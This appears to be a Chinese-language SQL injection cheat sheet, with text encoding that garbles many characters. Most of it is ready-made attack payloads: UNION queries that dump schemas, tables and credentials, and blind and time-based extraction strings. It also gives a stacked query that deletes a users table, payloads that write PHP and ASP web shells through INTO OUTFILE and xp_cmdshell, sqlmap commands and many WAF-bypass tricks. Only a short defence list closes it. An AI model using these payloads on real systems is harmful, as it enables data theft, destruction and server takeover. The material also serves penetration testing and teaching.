SQL注入原理
當(dāng)客戶端提交的數(shù)據(jù)未作處理或轉(zhuǎn)義直接帶入數(shù)據(jù)庫(kù),就造成了sql注入。
攻擊者通過(guò)構(gòu)造不同的sql語(yǔ)句來(lái)實(shí)現(xiàn)對(duì)數(shù)據(jù)庫(kù)的任意操作。
SQL注入的分類
按變量類型分:數(shù)字型和字符型
按HTTP提交方式分:POST注入、GET注入和Cookie注入
按注入方式分:布爾注入、聯(lián)合注入、多語(yǔ)句注入、報(bào)錯(cuò)注入、延時(shí)注入、內(nèi)聯(lián)注入
按數(shù)據(jù)庫(kù)類型分:
sql:oracle、MySQL、mssql、access、sqlite、postgersqlnosql:mongodb、redis
MySQL與MSSQL及ACCESS之間的區(qū)別
1.MySQL5.0以下沒有information_schema這個(gè)默認(rèn)數(shù)據(jù)庫(kù)
2.ACCESS沒有庫(kù)名,只有表和字段,并且注入時(shí),后面必須跟表名,ACCESS沒有注釋
舉例:select 1,2,3 from `table_name` union select 1,2,3 from `table_name`
3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)
判斷三種數(shù)據(jù)庫(kù)的語(yǔ)句
- MySQL:and length(user())>10
- ACCESS:and (select count(*)from MSysAccessObjects)>0
- MSSQL:and (select count(*)from sysobjects)>0
基本手工注入流程
1.判斷注入點(diǎn)
- 數(shù)字型:id=2-1
- 字符型:' 、')、 '))、 "、 ")、 "))
- 注釋符:-- (這是--空格)、--+、/**/、#
2.獲取字段數(shù)
order by 二分法聯(lián)合查詢字段數(shù),觀察頁(yè)面變化從而確定字段數(shù)
- order by 1
- order by 50
group by 譯為分組,注入時(shí)也可使用,不過(guò)我沒用過(guò)
3.查看顯示位嘗試使用聯(lián)合注入
利用and 1=2或and 0及id=-12查看顯示數(shù)據(jù)的位置
替換顯示位改成SQL語(yǔ)句,查看信息(當(dāng)前數(shù)據(jù)庫(kù),版本及用戶名)
and 1=2 union select version(),2,3
再查詢所有數(shù)據(jù)庫(kù)
and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3
查詢所有表名
union select (select group_concat(table_name)from information_schema.tables),2,3
查詢所有字段名
union select (select group_concat(column_name)from information_schema.columns),2,3
查詢字段內(nèi)容
如:查詢test庫(kù)下users表的id及uname字段,用'~'區(qū)分id和uname以防字符連接到一起
union select(select group_concat(id,'~',uname)from test.users),2,3
報(bào)錯(cuò)注入
通用報(bào)錯(cuò)語(yǔ)句:(測(cè)試版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
POST中的報(bào)錯(cuò)注入
布爾盲注
我在盲注中常用的函數(shù):
1.char() 解ASCII碼;
2.mid()截取字符串;
舉例:mid('hello',1,3),從第1位開始截取3位,輸出位hel
3.substr()與mid()相同,都為截取字符串;
4.count()計(jì)算查詢結(jié)果的行數(shù);
5.concat()查詢結(jié)果合并但保持原有行數(shù);
6.group_concat()查詢結(jié)果合并但都放在一行中;
7.ascii() 查詢ascii碼;
猜數(shù)據(jù)庫(kù)長(zhǎng)度(利用二分法);
- id=1 and (length(database()))>1
- id=1 and (length(database()))>50
猜第一個(gè)字符,第二個(gè)字符,以此類推
- and ascii(mid(database(),1,1))>1
- and ascii(mid(database(),2,1))>1
查詢當(dāng)前數(shù)據(jù)庫(kù)中所有表名;
and (select count(table_name)from information_schema.tables where tables_schema=database())>1and (select count(table_name)from information_schema.tables where tables_schema=database())>10
查詢第一個(gè)表的長(zhǎng)度;
and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10
查詢表的第一個(gè)字符;
and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1
查詢atelier表里有幾個(gè)字段;
and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2
查詢第一個(gè)字段長(zhǎng)度;
and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1
查詢字段第一個(gè)字符;
and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105
查詢字段所有行數(shù);
and (select count(*) from db83231_asfaa.atelier)>4
查詢字段名的行數(shù)(查詢emails表,uname字段);
and (select count(uname)from security.emails)>7 查詢uname的行數(shù)
查詢字段內(nèi)容;
length((select username from security.users limit 0,1))>10ascii(mid((select username from security.user limit 0,1),1,1))>100
將查詢到的ASCII碼放到mysql中查詢。
舉例:select char(39);
延時(shí)盲注
利用sleep(3)和if(1=2,1,0)及case進(jìn)行延時(shí)注入,示例:
select * from user where id='1' or sleep(3) %23
這個(gè)沒什么好說(shuō)的
select * from user where id= 1 and if(length(version())>10,sleep(3),0);
如果長(zhǎng)度大于10,則睡3秒,其他則0秒
select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;
case定義條件,when 后面的1表示ture也代表真,當(dāng)條件為真時(shí),睡3秒,其他則0秒。
多語(yǔ)句注入
多語(yǔ)句意思就是可以執(zhí)行多個(gè)語(yǔ)句,利用分號(hào)進(jìn)行隔開
示例:id=1";WAITFOR DELAY '0:0:3';delete from users; --+id=1';select if(length(user(),1,1)>1,sleep(3),1) %23';select if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1,sleep(3),1) %23
內(nèi)聯(lián)注入
舉例:id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
利用別名:
union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)
getshell
id=-1' union select 1,2,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/404.php') --+
也可使用dumpfile進(jìn)行寫入。
outfile和dumpfile的區(qū)別:
outfile適合導(dǎo)庫(kù),在行末尾會(huì)寫入新行并轉(zhuǎn)義,因此不能寫入二進(jìn)制可執(zhí)行文件。dumpfile只能執(zhí)行一行數(shù)據(jù)。
數(shù)據(jù)庫(kù)寫入:
exec master..xp_cmdshell 'echo "<%eXECutegLobaL rEquEst(0)%>" > "c:www\uploadFiles2019-11404.asp"'
寬字節(jié)注入
當(dāng)編碼位gbk時(shí),%df%27或%81%27數(shù)據(jù)為空
就是說(shuō)客戶端發(fā)送的數(shù)據(jù)編碼為gbk時(shí),那么可能會(huì)吃掉轉(zhuǎn)義字符反斜杠,閉合之后頁(yè)面恢復(fù)正常,存在寬字節(jié)注入
測(cè)試出來(lái)就可以使用sqlmap跑了,23333
加*構(gòu)造注入點(diǎn)(比-p更穩(wěn)定),讓sqlmap對(duì)構(gòu)造注入點(diǎn)進(jìn)行注入攻擊(*優(yōu)先級(jí)更高)
寬字節(jié)防御:
第10行代碼必須和第24行必須同時(shí)使用,要么就更換編碼格式
二次編碼注入
代碼中有urldecode() 函數(shù)
%2527 先解碼成%27再解碼成'單引號(hào)
sqlmap -u http://192.168.100.141/index.php/author=123 --prefix "%2527" --suffix "%23"
-prefix為設(shè)置前綴 -suffix為設(shè)置后綴
設(shè)置后綴,防止sqlmap使用內(nèi)聯(lián)注
使用自帶的腳本進(jìn)行注入chardoubleencode.py
圖片上傳sql注入
猜結(jié)構(gòu),為時(shí)間戳加文件名
替換and sleep(3) 為*進(jìn)行salmap
二次注入
abc' 數(shù)據(jù)經(jīng)過(guò)addslashes過(guò)濾,單引號(hào)前面添加反斜杠abc',但傳到數(shù)據(jù)庫(kù)的數(shù)據(jù)還是abc'
假如在如下場(chǎng)景中,我們?yōu)g覽一些網(wǎng)站的時(shí)候,可以現(xiàn)在注冊(cè)見頁(yè)面注冊(cè)u(píng)sername=test',接下來(lái)訪問(wèn)xxx.php?username=test',頁(yè)面返回id=22;
接下來(lái)再次發(fā)起請(qǐng)求xxx.php?id=22,這時(shí)候就有可能發(fā)生sql注入,比如頁(yè)面會(huì)返回MySQL的錯(cuò)誤。
訪問(wèn)xxx.php?id=test' union select 1,user(),3%23,獲得新的id=40,得到user()的結(jié)果,利用這種注入方式會(huì)得到數(shù)據(jù)庫(kù)中的值。
XFF頭注入
update user set loat_loginip = '8.8.8.8' where id =1 and sleep(5) #' where username = 'zs';
id根據(jù)網(wǎng)站用戶量取一個(gè)中間值,測(cè)試是否有注入,利用插件設(shè)置XFF頭,如果網(wǎng)站不報(bào)錯(cuò),可嘗試此注入;
X-Forward-For:127.0.0.1' select 1,2,user()
User-Agent請(qǐng)求頭注入
DNS外帶日志示例
外帶平臺(tái) :xip.io ceye.io
MSSQL查詢當(dāng)前數(shù)據(jù)庫(kù);
MySQL查詢數(shù)據(jù)庫(kù)版本;
常用過(guò)WAF技巧
1.特征字符大小寫(基本沒用)
UnIoN SeLcT 1,2,3
2.內(nèi)聯(lián)注釋
id=-1/*!UNION*/%20//*!SELECT*/%201,2,3
3.特殊字符代替空格
%09 tab鍵(水平)、%0a 換行、%0c 新的一頁(yè)%0d return功能、%0b tab鍵(垂直)、%a0空格
4.等價(jià)函數(shù)和邏輯符號(hào)
hex()、bin()==>ascii()sleep()==>benchmark()concat_ws()==>group_concat()mid()、substr()==>substring()@@version==>version()@@datadir==>datadir()邏輯符號(hào):如and和or不能使用時(shí),嘗試&&和||雙管道符。
5.特殊符號(hào)
反引號(hào),select `version()`,繞過(guò)空格和正則加號(hào)和點(diǎn),"+"和"."代表連接,也可繞過(guò)空格和關(guān)鍵字過(guò)濾@符號(hào),用于定義變量,一個(gè)@代表用戶變量,@@代表系統(tǒng)變量
6.關(guān)鍵字拆分
'se'+'lec'+'t'%S%E%L%C%T 1,2,3?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"')!和():'or--+2=--!!!'2id=1+(UnI)(oN)+(SeL)(EcT)
7.加括號(hào)繞過(guò)
小括號(hào)
union (select+1,2,3+from+users)%23union(select(1),(2),(3)from(users))id=(1)or(0x50=0x50)id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))
花括號(hào)
select{x user}from{x mysql.user}id=-1 union select 1,{x 2},3
8.過(guò)濾and和or下的盲注
id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23id=strcmp(left((select+username+from+limit+0,1),1,0x42)%23
9.白名單繞過(guò)
攔截信息:
GET /pen/news.php?id=1 union select user,password from mysql.user
繞過(guò):
GET /pen/news. php/admin?id=1 union select user,password from mysql. userGET /pen/admin/..news. php?id=1 union select user,password from mysql. user
10.HTTP參數(shù)控制
(1)HPP(HTTP Parmeter Polution)(重復(fù)參數(shù)污染)
舉例:
index.php?id=1 union select username,password from usersindex.php?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/users
HPP又稱作重復(fù)參數(shù)污染,最簡(jiǎn)單的是?uid=1&uid=2&uid=3,對(duì)于這種情況,不用的web服務(wù)器處理方式不同。
具體WAF如何處理,要看設(shè)置的規(guī)則,不過(guò)示例中最后一個(gè)有較大可能繞過(guò)
(2)HPF(HTTP Parmeter Fragment)(HTTP分割注入)
HTTP分割注入,同CRLF有相似之處(使用控制字符%0a、%0d等執(zhí)行換行)
舉例:
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
SQL注入防御
1.對(duì)用戶輸入的內(nèi)容進(jìn)行轉(zhuǎn)義;
2.限制關(guān)鍵字的輸入,如單引號(hào)、雙引號(hào)、右括號(hào)等,限制輸入的長(zhǎng)度;
3.使用SQL語(yǔ)句預(yù)處理,對(duì)SQL語(yǔ)句進(jìn)行預(yù)編譯,然后進(jìn)行參數(shù)綁定,最后傳入?yún)?shù);
4.添加WAF,防火墻等。